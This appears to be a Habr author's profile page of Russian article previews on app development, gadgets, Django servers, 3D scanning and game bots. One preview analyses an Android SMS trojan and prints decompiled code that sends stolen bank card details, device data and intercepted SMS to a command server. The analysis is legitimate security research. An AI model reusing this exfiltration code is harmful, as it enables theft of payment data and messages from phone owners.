Как стать автором
Обновить
0
0
Vitālijs Gagunovs @vita1ij

Пользователь

Отправить сообщение

10 Easy Steps to Build an Android Chat App using Kotlin in 2022

Время на прочтение6 мин
Количество просмотров5.6K

This tutorial will guide you step by step in building an Android chat app in Kotlin with the help of third-party messaging SDKs. The reason I chose Kotlin for this tutorial is that - it is a lightweight programming language suggested by Google for building apps that work on Android devices. 

In the steps ahead, I’ll show you how to develop an app in Android Studio, with messaging features that can integrate using SDKs. I use MirrorFly’s chat SDKs throughout this tutorial.

Read more
Всего голосов 4: ↑3 и ↓1+2
Комментарии2

Y-метод — действительно простой способ собрать кубик Рубика

Время на прочтение7 мин
Количество просмотров321K

Введение


В статье рассматривается «Y-метод» сборки кубика Рубика — его легко понять и запомнить. Он основан всего на одной последовательности, которая называется «Y-движение». Поняв этот алгоритм, вы навряд ли забудете как собрать кубик самостоятельно.
Читать дальше →
Всего голосов 118: ↑117 и ↓1+116
Комментарии78

Весь мир в кармане или как сделать мобильную карту за пару дней

Время на прочтение8 мин
Количество просмотров22K


В прошлой статье я рассказывал о том, как можно быстро сделать Web-звонилку. А что если поставить более амбициозную задачу — собрать своё собственное приложение с картой, без рекламы и с блэк-джеком? А если всего за пару дней?


Давайте сделаем это! Прошу под кат.

Читать дальше
Всего голосов 31: ↑30 и ↓1+29
Комментарии11

Интервью с Гари Хадсоном о новой омолаживающей биотехнологии

Время на прочтение9 мин
Количество просмотров13K


Последние пару лет мы видим быстрый прогресс по разным направлениям в борьбе со сенесцентыми клетками. Недавно компания UNITY Biotechnology сделала громкое заявление, и продление жизни за счёт удаления сенесцентных клеток было продемонстрировано у мышей. Это прекрасное время для SENS, Strategies for Engineered Negligible Senescence, ибо одна из важных технологий омоложения организма, которую организация продвигала и поддерживала более десятилетия, – сейчас активно движется в направлении клинических испытаний. Это позволяет привлечь ранее недоступное венчурное финансирование и повышает информированность общества о возможности лечения старения.
Читать дальше →
Всего голосов 18: ↑17 и ↓1+16
Комментарии24

Умные светодиодные лампы Xiaomi Yeelight

Время на прочтение4 мин
Количество просмотров58K
Многие читатели и посетители сайта Lamptest.ru просили меня протестировать светодиодные лампы китайской компании Xiaomi. Наконец-то у меня появилась возможность это сделать.

Читать дальше →
Всего голосов 26: ↑25 и ↓1+24
Комментарии47

Боевой сервер для Django-приложения: Ubuntu Server 10.04 LTS + django 1.4 + nginx + gunicorn

Время на прочтение11 мин
Количество просмотров121K
Многие учебные пособия по разработке на Django раскрывают как быстро получить работающий отладочный сервер (python manage.py runserver), а вопрос развертывания в боевом режиме часто остается нераскрытым или освещаются далеко не самые простые и эффективные методы.
Ниже я расскажу о об одном из способов развернуть сайт на Django в боевом режиме, начиная от выбора хостинга, заканчивая развертыванием веб-сервера. Таким образом статья может быть полезна тем, кто освоил разработку на базе Django, но не имеет опыта развертывания серверов. Мой способ один из многих, но он достаточно прост, эффективен в работе и легок в поддержке. Используем VPS-хостинг, Ubuntu 10.04, nginx, gunicorn.

Читать дальше →
Всего голосов 34: ↑29 и ↓5+24
Комментарии41

Эти штуки от Xiaomi прокачают ваш дом по-полной

Время на прочтение7 мин
Количество просмотров135K
Привет, Geektimes! Важней всего, как говорят, погода в доме. Поэтому в погоне за новеньким смартфоном, планшетом или камерой не стоит забывать, что современные устройства позволяют не только иметь под рукой все самое необходимое, но и также изменить жилище до неузнаваемости, сделать его лучше и технологичнее. Все еще пылесосите и моете окна вручную? Тогда мы… нет, к вам не пойдем. Лучше вы давайте — под катом много интересного!

image
Читать дальше →
Всего голосов 43: ↑33 и ↓10+23
Комментарии118

Руководство по созданию механических щупальцев в домашних условиях: часть 1

Время на прочтение6 мин
Количество просмотров37K


Как же нам не любить аниматронику? Отогните силиконовую кожу любой куклы, и вам откроется скопление мехатронной магии, дающей ей жизнь на большом экране. Я искал в интернете хорошие вводные материалы на эту тему, но нашёл лишь один – обучающие видео от Стэна Уинстона. Уже через 30 секунд я почувствовал, как щупальца пробуждают мои самые низменные позывы к постройке осязаемых вещей. Я запал, я просто обязан был построить одну такую штучку… или несколько. И вот, как можно создать вполне реальное аниматронное щупальце.
Читать дальше →
Всего голосов 68: ↑65 и ↓3+62
Комментарии36

VR-шлем Pimax P1 4K — решает не только картинка

Время на прочтение5 мин
Количество просмотров44K
Со шлемами виртуальной реальности сейчас одна главная проблема — разрешение. С виртуальностью все ок, а вот до реальности пока никто не дотягивает. Пиксели мешают. Китайцы из Pimax решили повысить планку и выкатили на рынок модель P1 с разрешением 4K — так отдельные пиксели уже почти не заметны, но вот реализация всего остального вызывает вопросы.


Читать дальше →
Всего голосов 31: ↑27 и ↓4+23
Комментарии66

Ты не пройдёшь: кодовый замок на логике

Время на прочтение2 мин
Количество просмотров25K
Сразу предупреждаю, что этот проект реализован очень нерационально и особого практического смысла в себе не несёт. Я расскажу о такой, казалось бы простой вещи, как кодовый замок, но реализован он не на микроконтроллере, как это обычно делается, а на логических микросхемах. Ведь взять микроконтроллер и прошить, это слишком просто, здесь есть какой-то подвох! Давайте лучше городить логику, как истинные джедаи!

image
Читать дальше →
Всего голосов 19: ↑17 и ↓2+15
Комментарии25

3D-сканер за $30

Время на прочтение9 мин
Количество просмотров207K
Профессиональный 3D-сканер, с помощью которого можно оцифровать реальный объект, получив его компьютерную модель, стоит десятки тысяч долларов. Мы же сможем провернуть то же самое с помощью специальной программы, лазерной указки и веб-камеры. Всего долларов за тридцать.


Читать дальше →
Всего голосов 149: ↑142 и ↓7+135
Комментарии31

Звоним на мобильные телефоны из браузера с записью разговоров

Время на прочтение6 мин
Количество просмотров79K


В сегодняшнем мире тонких клиентов, Интернета, продвинутых веб-интерфейсов появляется все больше задач, связанных с необходимостью совершения звонков из браузера/принятия звонков в браузер. Это, черт возьми, удобно! Сидит сотрудник перед монитором, выбирает клиента, нажимает позвонить — и, пока идет дозвон, на этой же странице просматривает его карточку, освежает в памяти последние договоренности и намеченные шаги.

Или другой сценарий — входящий в компанию звонок. Как здорово, когда ты в качестве клиента звонишь на безликий 8800 и девушка на том конце телефона отвечает тебе приятным голосом — здравствуйте, Алексей (подставить_свое_имя)! Это производит потрясающий эффект. Когда вместо «назовите себя, номер паспорта и имя кота, информация грузится — послушайте шестую симфонию Моцарта» оператор уже поднимая трубку знает, как вас зовут и видит по вам всю информацию. Сервис, что и говорить.

Но есть ли возможность реализовать такую систему без погружения в дебри настройки АТС — максимально быстро и минимальной кровью? Желательно еще, чтобы все разговоры записывались для целей контроля и обучения сотрудников. Ответ — конечно, погнали под кат.
Читать дальше →
Всего голосов 51: ↑46 и ↓5+41
Комментарии20

Интересующимся мозгом/ИИ: ссылки на почитать

Время на прочтение18 мин
Количество просмотров81K
Расчищая Авгиевы конюшни на своем компе, взялся за структурирование накопившихся линков. Подумал, может и другим будет интересно то, что когда-то мне показалось достойным. Опять же, будет к чему отсылать с вопросом есть чо? «что почитать?»

Этот набор (порядка 400 ссылок) ни в коей мере не претендует на полноту или объективность. Наоборот, приглашаются все желающие дополнить и исправить (например раздел «Онлайн Курсы» подозрительно пуст). Если будет интерес, буду апдейтить этот пост новыми линками + апдейты отдельными постами оформлять.

Не стал я сюда давать ссылки на книги по нейробиологии и совсем заумные статьи (хотя много ссылок на оригиналы статей) — это тема для отдельного поста, наверное, с хорошим обзором. Если кому-то захочется почитать статью, к которой доступ закрыт — пишите, вышлю.

Много ссылок на английские сайты, я не стал их переводить, чтобы не вводить в заблуждение.

PS: я оставил ссылки как есть, чтобы было видно куда ведет. Если кого напрягает — пишите, апдейтом спрячу.

Знание - сила!
Всего голосов 86: ↑79 и ↓7+72
Комментарии11

Как создать интересный игровой сеттинг? Уровень четвертый: звукошумовые эффекты

Время на прочтение7 мин
Количество просмотров28K
Еще до того, как исследователи канадского университета Ватерлоо провели исследование и выяснили, как звукошумовые компоненты геймплея влияют на игроков, производители аркадных машин понимали: чем интереснее звучит игровой автомат, тем больше посетителей он привлекает. Во времена жесткого дефицита оперативной памяти, когда игры помещались на дискетах, а звуки сжимались самыми невероятными методами, разработчики любой ценой старались создать минимальные аудиоэффекты. Даже если при этом им приходилось жертвовать качеством графики.


Читать дальше →
Всего голосов 30: ↑29 и ↓1+28
Комментарии16

Попытка выстрелить номер два

Время на прочтение5 мин
Количество просмотров19K
image

Не прошло и полугода со дня констатации клинической смерти моего первого цифрового детища. Камни Лабиринта поосыпались, графики количества установок сползли до позорных непечатных значений, мизерные центы ежедневных прибылей превратились в пыль. Что в такой ситуации делает отважный и неутомимый инди-разработчик? Правильно: он делает выводы. А после выводов не грех вдохнуть жизнь в новый свежий проект — и стрельнуть им прямо по вершине топа. Главное не промахнуться.

Аккумулируем заряд и стреляем...
Всего голосов 26: ↑18 и ↓8+10
Комментарии26

Как я позорно деактивировал ботнет

Время на прочтение10 мин
Количество просмотров191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Всего голосов 368: ↑362 и ↓6+356
Комментарии143

Работа с данными в мобильных приложениях. Реализуем offline хранилище и синхронизацию данных используя Microsoft Azure и SQLite

Время на прочтение6 мин
Количество просмотров21K
image

Сейчас на рынке есть огромное количество приложений, которые не приспособлены для работы offline, что создает неудобства для пользователей.
Некоторое время назад, для разработчиков на C# стал доступен новый Microsoft Azure Mobile Services SQLiteStore SDK 1.0 alpha, который предоставляет API для создания приложения, работающих в условиях отсутствия интернета и берущий на себя все заботы о синхронизации данных между локальной базой данных и базой данных Azure. В качестве локальной базы данных создается и используется SQLite.
Читать дальше →
Всего голосов 27: ↑25 и ↓2+23
Комментарии9

Играем с Евклидом

Время на прочтение1 мин
Количество просмотров42K


Отличное интерактивное пособие для школьников, ну а для окончивших школу технарей — возможность ненадолго вернуться в детство.

Помните эти задачи «при помощи циркуля и линейки постройте...»? Вот здесь можно поупражняться в таких построениях.

20 уровней построены по принципу «от простого к сложному». Предыдущие достижения (к примеру, умение строить равносторонний треугольник) на следующих уровнях доступны уже в виде инструментов.

Прошёл всё, правда на последнем уровне пришлось немного повозиться с касательными к окружностям.
Всего голосов 107: ↑99 и ↓8+91
Комментарии51

Найти бозон Хиггса может каждый!

Время на прочтение2 мин
Количество просмотров31K

12 мая ЦЕРН объявил «Higgs Boson Machine Learning Challenge», конкурс на лучший алгоритм по поиску событий с участием бозона Хиггса в наборе экспериментальных данных. Конкурс продлится до 15 сентября, победителей ждут денежные призы от $2000 до $7000. Удачное решение может быть интегрировано в реальный процесс обработки данных с детектора ATLAS. Для участия в конкурсе не нужны специальные знания в физике элементарных частиц.
Читать дальше →
Всего голосов 58: ↑54 и ↓4+50
Комментарии22

Бот для аркады. Часть №2: подключаем OpenCV

Время на прочтение12 мин
Количество просмотров41K

Введение

Продолжаем управлять миром разрабатывать бота для игры. Предыдущий разговор остановился на том, что контакт установлен: мышь бегает, изображение получается. Пора выделять объекты, это требует использование множества различных функции по обработке изображений. Можно, конечно, изобрести велосипед и написать эти функции самостоятельно, но лучше воспользоваться готовыми наработками.

Для обработки изображений возьмем широкораспространенную библиотеку OpenCV. Она неродная (unmanaged) для .net, поэтому подключим ее через wrapper OpenCvSharp.

OpenCV нам нужна для того, чтобы, применяя различные преобразования к изображениями, выбрать такое преобразование, которое отделит фон и тени от объектов, а объекты друг от друга. К этой цели и будем сегодня двигаться.


Затрагиваемые темы: выбор библиотеки для обработки изображений, выбор wrapper-а для работы с OpenCV, основные функции OpenCV, выделение движущихся объектов, цветовая модель HSV.


Читать дальше →
Всего голосов 28: ↑25 и ↓3+22
Комментарии11
1

Информация

В рейтинге
Не участвует
Откуда
Рига, Латвия, Латвия
Дата рождения
Зарегистрирован
Активность